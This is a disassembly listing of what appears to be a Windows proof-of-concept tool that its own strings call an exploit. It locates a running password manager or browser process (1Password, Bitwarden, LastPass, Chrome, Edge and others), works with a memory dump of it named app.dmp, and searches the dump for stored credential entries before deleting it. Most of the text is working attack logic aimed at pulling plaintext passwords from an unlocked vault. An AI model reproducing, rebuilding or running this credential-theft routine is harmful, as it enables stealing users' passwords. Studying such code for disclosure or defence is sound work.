lea rdx, str.The_exploit_was_tested_with_3_entries._In_case_the_user_has_more_entries__the_relevant_value__600__should_be_change_in_the_exploit._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.A_hard_guess_is_that_approx_200_bytes_will_be_needed_per_entry._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x140013330
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 4
mov rbx, qword [rsp + 0x30]
nop word [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140013216
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001320d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x1400131b9
cvtsi2sd xmm0, rcx
jmp 0x1400131ce
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x1400131f2
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001320d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140013170
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14001323a
mov ecx, eax
call fcn.140001a60
jmp 0x14001325e
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400132a1
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001329c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001329c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000e320
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14001335d
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013358
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400132ab
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 9
jne 0x140013387
mov r8, r14
lea rdx, str.1password
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140013570
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 7
jne 0x1400133b1
mov r8, r14
lea rdx, str.firefox
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140013570
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 8
jne 0x1400133db
mov r8, r14
lea rdx, str.dashlane
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140013570
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x140013405
mov r8, r14
lea rdx, str.keeper
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140013570
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x14001342f
mov r8, r14
lea rdx, str.chrome
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140013570
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 5
jne 0x140013459
mov r8, r14
lea rdx, str.brave
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140013570
lea rdx, str.msedge
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.lastpass
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.roboform
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.bitwarden
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.norton
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.bitdefender
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.ironvest
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.passwarden
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.avira
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.passwordboss
lea rcx, [rsp + 0x68]
call fcn.140015390
test al, al
je 0x140013570
lea rdx, str.User_input_did_not_match_a_specific_password_manager._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.The_input_must_be_case_sensitive._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov ebx, 1
jmp 0x140013592
lea rcx, str.app.dmp
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str.File_app.dmp_was_deleted._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xor ebx, ebx
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400135d1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400135cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400135cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
nop
cmp r13, 0x10
jb 0x14001360b
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140013603
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013603
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140016acc
mov eax, ebx
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140016a70
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001180
nop
call fcn.140001180
int3
call fcn.140001180
int3
call fcn.140001180
int3
call fcn.140001220
nop
call fcn.140001220
int3